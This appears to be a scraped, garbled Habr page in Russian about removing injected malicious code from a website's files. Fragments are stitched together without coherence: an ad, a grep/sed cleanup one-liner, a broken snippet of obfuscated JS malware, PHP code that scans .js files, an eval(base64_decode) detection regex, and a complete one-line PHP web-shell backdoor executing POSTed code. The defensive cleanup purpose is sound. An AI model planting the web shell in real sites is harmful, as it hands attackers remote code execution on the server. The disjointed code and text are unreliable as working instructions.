Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
grep -rl '=Array.prototype.slice.call(arguments).join(""),' . | while read FILENAME; do sed -i -e '$d' $FILENAME; echo "$FILENAME"; done")===83)try{Boolean().prototype.q}catch(egewgsd){f=['if (isset($get_str) && !empty($get_str))
/**
* Преобразуем входной параметр в массив
*
* @param string $get_str Список параметров
* @param string $separator Разделитель параметров в списке
* @return array Параметры или FALSE
*/
$path = realpath('/* тут директория проекта */');
$files = new RegexIterator(
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path)
),
'/^.+\.js$/i',
RecursiveRegexIterator::GET_MATCH
);
return $files;
<?php
$fStart = microtime(TRUE);
define('DS', DIRECTORY_SEPARATOR);
$sPath = realpath(dirname(__FILE__) . DS . '..' . DS . '..' . DS);
$aFiles = new RegexIterator(
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($sPath . DS)
),
'/^.+\.js$/i',
RegexIterator::GET_MATCH
);
$aFoundFiles = array();
foreach ($aFiles as $aFile) {
$aFoundFiles[] = $aFile[0];
}
unset($aFile, $aFiles);
var_dump(
count($aFoundFiles),
microtime(TRUE) - $fStart . ' sec',
memory_get_usage(TRUE),
memory_get_peak_usage(TRUE));
/*
int(1184)
string(19) "47.937906980515 sec"
int(786432)
int(786432)
*/
eval\(base64_decode\(".+?\"\)\)\; и аналогичными конструкциями регулярных выражений.<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
Очистка заражённых файлов сайта от вредоносного кода